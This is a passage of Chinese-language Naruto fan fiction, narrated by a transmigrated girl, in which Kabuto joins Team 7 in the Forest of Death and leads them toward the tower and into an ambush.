他说的没错,在死亡森林里生火确实非常冒险。但他出现的时机太巧了,言辞也太过于自然流畅,仿佛早已在心底排练好了这番说辞。他真的是被烟火吸引过来的?还是……他一直就跟在我们附近,如同幽灵般潜伏着,只是在等待一个合适的、能够自然融入我们视野、获取信任的时机? 无论是哪种,都意味着,我们已经被这条致命毒蛇……牢牢地盯上了。 佐助依然没放下防御的姿态,只是换了个方式询问着对方 “你为什么一个人在这附近转悠?你的队友在哪里?” 兜像是听到了什么好笑的事情,半开玩笑地说 “放心,不是想要抢夺你们的卷轴。我只是和队友走散了,正在寻找他们。” “我想也是,” 佐助眼神犀利地盯着兜,手里的苦无却微微放下了一点 “如果你想抢的话……以你的实力,早就该从我们身上拿走了,尤其是在她受伤的时候。” 他用眼神示意了一下我。 佐助追问兜是不是也在寻找天之书。兜只是笑了笑,笑容显得高深莫测,然后他从自己身后的忍具包里,慢条斯理地拿出来了两个卷轴——正是地之书和天之书!他向我们展示了一下,说自己运气不错,已经找齐了。 那一瞬间,我似乎看见佐助的身体有一瞬间极其轻微的僵直。他手里就有我们梦寐以求的天之书!这对我们来说,就是一个绝佳的机会!下一秒,兜就像是故意炫耀般,把天地两本卷轴从容地放回了自己的忍者包里,然后语气轻松地说自己还要继续去找失散的同伴了,让我们保重,下次再见。 就在他转身欲走的刹那,佐助的手里剑比他的话音更快!一道寒光擦着兜的身体险险划过!(其实是兜以微小的动作精准地躲了过去)兜停下脚步,慢慢地转过头,盯着眼前突然发动攻击的佐助,虽然脸上还带着笑,但那一瞬间,我从他眼镜片反光后瞥见的眼神,冷若冰霜,可怕得如同潜伏的毒蛇。 “一决胜负吧。” 佐助的声音冰冷得不带一丝感情,直接下了战书。 兜只是扬起了嘴角,笑意盈盈地重复道 “哦?要一决胜负吗?” 小樱似乎没理解佐助这突如其来的举动,毕竟兜可是之前帮过我们两次的学长,她急忙道 “佐助君!等等!” 鸣人也有些不满,对着佐助喊道 “喂!你这个笨蛋!兜学长刚才可是帮助了我们啊!” 佐助根本不管这些,直接冷声说明了原因,语气斩钉截铁 “很抱歉,我们已经没有时间再犹豫了。这是最快的方法。” “喂!佐助!兜刚才可是帮我们熄灭了火,避免了暴露啊!” 鸣人举着手,强烈谴责佐助这种“恩将仇报”的行为。 “佐助,我也觉得这样有点……” 小樱也有些许无奈和犹豫,毕竟对帮助过自己的人动手,于情于理都说不通。 “我同意佐助的话,我们的时间不多了。” 我上前一步,站在佐助的身边,目光紧紧盯着眼前的兜,声音虽然还有些虚弱,但态度坚决。也许是穿越者的缘故吧,知晓他真实的身份和目的,我无法信任他,反而更相信佐助此刻的判断。 “就算不动手,我们拿到天之书也要尽快赶去塔附近。时间紧迫,我们已经没有办法慢悠悠地寻找或者谈判了。” 我补充道,试图让我的理由听起来更充分。 “她说的对” 佐助接过我的话,眼神死死锁住兜 “在这个残酷的森林里想活下去,有时候就必须采取最直接的办法。弱肉强食,这就是规则。” 兜像是听到了什么有趣的事情,发出低低的轻笑,他扶了扶眼镜,镜片反着光 “你们在说谎吧?” 他的语气依旧温和,却带着一种洞察一切的尖锐 “你们并没有那么痛下决心,或者说,并没有真正适应这场考试的残酷规则。再者……” 他话锋一转,带着点讽刺 “要是你们真的适应了,早就该在刚才的偷袭里乘胜追击,而不是说什么光明正大的‘一决胜负’。忍者之间的战斗,可从来不在乎手段是否光彩,只在乎结果。” “这才是……真正忍者世界的残酷法则。” 他顿了顿,语气忽然又变得缓和起来,仿佛刚才那个尖锐的人不是他 “不过,说实话,我并不讨厌这样的你们。至少……还保留着一点可笑的天真和原则。” 他话锋再次一转 “那就让我来给你们指一下你们真正该走的路吧。” “不过,得边走边说。” 他转身,示意我们跟上 “即使火被熄灭了,预留的烟气和气味也会暴露你们所在的位置,拖延下去,可不只是我一个人会找到这里了。” 兜的嘴角始终噙着一抹令人捉摸不透的笑意,他转过身,对着我们招招手,示意快点跟上。佐助迟疑了一下,眼神复杂地看了兜的背影一眼,最终选择跟上去。或许是因为兜确实两次出手相助,或许是因为他也没有更好的办法,又或许……他只是想看看兜到底想玩什么把戏。 鸣人三两下狼吞虎咽地吃完了手里的鱼,用袖子狠狠地擦了一下脸上的油渍和残渣,伸出手让我搭上他的肩膀,借力给我。小樱则选择跟在我的身后,小心翼翼地保护着我们的后方安全。 一路上,我们都在沉默地跟着兜快速穿行。佐助忍不住开口问兜 “真的还会有其他敌人被吸引过来吗?” 兜头也不回,声音飘过来 “不会有错的。仔细想一想就知道了。” “在这个广阔又复杂的死亡森林里,最好的战斗方式是什么吗?” 他像是在提问,又像是在自问自答。 “不知道……” 鸣人老老实实地回答到,目光却时不时地瞥向身边看起来一直在沉思、眉头紧锁的我。自从我跟着走之后,就再也没说过一句话,并且眉头一直紧紧皱着,脸色也比刚才苍白了一些。鸣人欲言又止,脸上写满了担心,最后只是憋出来一句轻飘飘的 “姐姐……你还好吗?是不是又不舒服了?” “嗯……还好,没事……” 我努力地想要装作没关系的样子,声音有些发虚 “可能是精神还没完全恢复好吧……有点累。” 我努力的想要装作没关系或者没事,但我不知道为什么,在兜面前我有些做不到完美掩饰。仅仅只是因为他是大蛇丸那边的人吗?我到底在担心什么?担心我扰乱剧情?可是现在一切似乎都还在按照剧情的大方向走啊?为什么我的心会如此不安?那种像是被毒蛇盯上的冰冷黏腻感,始终缠绕在心头。 兜之后说的什么战术分析、森林生存技巧,我完全听不进去了(甚至连鸣人的关心都忽略了),耳边只有呼呼掠过的风声,以及自己那杂乱无章、扰人心绪的心跳声。 直至深夜,我们才跟着兜的指引,有惊无险地赶到了中央高塔附近的区域。时间留给我们的真的不多了。我抽回搭在鸣人肩膀上的手,独自站立在原地,望着远处黑暗中那座如同巨兽般蛰伏的高塔轮廓,想了很久的问题也想不通。如果真的因为我的存在而改变了很多事(或者是一些无关紧要的小事),但原著的主要剧情还是无法改变的话,那我不必过度担心影响什么的,我能做的,或许只有在不改变原剧情大致走向的情况下,做我能做的、尽可能保护他们的事情。(不知怎么的,想通这一点后,我竟然感到一丝莫名的失落和无力) “这么快就有敌人了?!” 小樱的一声急促呼喊将我从纷乱的思绪中猛地拉回现实!只听一声破空的手里剑呼啸声咻地划破寂静,狠狠地钉在了我们不远处的一棵树木上!打眼望去,那手里剑上竟然串着一种体型巨大、色彩斑斓的蜈蚣!它还在挣扎扭动,看起来异常恶心和骇人。 “呃……好大……好恶心,那么多脚……” 小樱嫌弃又带着恐惧的声音响起,我也感到一阵恶寒,普通的蜈蚣确实见过,但这么大、这么诡异的,确实前所未见,只觉得头皮发麻,生理性的不适涌上来。 “鸣人,希望你从现在开始,不要有任何鲁莽的行为和不小心发出的巨大声音。” 兜的语气变得严肃起来,提醒道。 “?嗯?” 鸣人似乎还没反应过来。 “在这片密集的死亡森林里,发出大的声音前进的话,无异于在大声提醒敌人我们来了,一定会受到他们‘热烈欢迎’的。” 兜耐心地解释着,但眼神里却没有多少温度。 “是吗…” 鸣人似乎也没料到事情那么严重,只是回了一句是吗之后再也没说什么了,表情也变得认真起来。 兜告诉我们要立刻隐藏起来,尽可能缓慢地、安静地前进,毕竟前方的黑暗里隐藏着什么危险,谁也无法预料。 我们几个人立刻兵分四路,借助地形隐藏行踪。佐助选择沿着一条狭窄的溪流快速移动,利用水声掩盖脚步声;小樱俯下身体,利用茂密的草丛和灌木丛潜行;我和鸣人则跃上树木,在枝桠间悄无声息地穿梭。一路上我们两个都没说话,默契地互相照应。 偶尔看见鸣人被垂下藤蔓缠住脚踝,我会小心地帮他处理一下;鸣人则会眼疾手快地帮我提前铲除路上突然垂下的蜘蛛网或某些看起来有毒的虫子。 我们几个就这么小心翼翼地、缓慢地靠近着中央高塔。在不知道具体走了多久,走了多远之后,总之,我们几个在穿过一片特别茂密的灌木丛后,几乎是不约而同地停下了脚步——眼前的地面上,散落着一些破碎的忍具和明显打斗过的痕迹,甚至能看到几点已经干涸发黑的血迹,还有一只深深钉入树干的手里剑。 “是陷阱吗……还是发生过战斗?” 佐助压低声音说着,眼神警惕地扫视四周。 “嗯……看来之前有队伍在这里遭遇了。” 兜点点头,语气凝重 “接下来这段路,可能还有更厉害的陷阱或者埋伏。” 说罢,他示意我们更加小心,继续往前走着。 我若有所思地停顿了一会,盯着高处那枚手里剑,脑海里忽然浮现出一点模糊的回忆——原著里,似乎就是在这里拿到了天之书,敌人有点类似于‘鬼打墙’? 鸣人似乎是注意到了我没有立刻跟上的脚步,回过头看向我,用眼神询问。其他人也陆续转过身来,看向落在后面的我。我看着眼前的四个人,以及他们脚底下那片看起来并无异常、实则可能隐藏着巧妙陷阱的土地—— “我们……大概已经被‘热烈欢迎’了呢?” 在我说完这句话之后,旁边的树木阴影里,如同鬼魅般,悄无声息地浮现出了无数个身影!他们像是穿着统一的黑色紧身衣,戴着遮住面容的面罩,全身上下只有手脚那里缠着白色的绷带,如同没有生命的傀儡,一步一步地、带着压迫感地从四面八方向我们包围过来……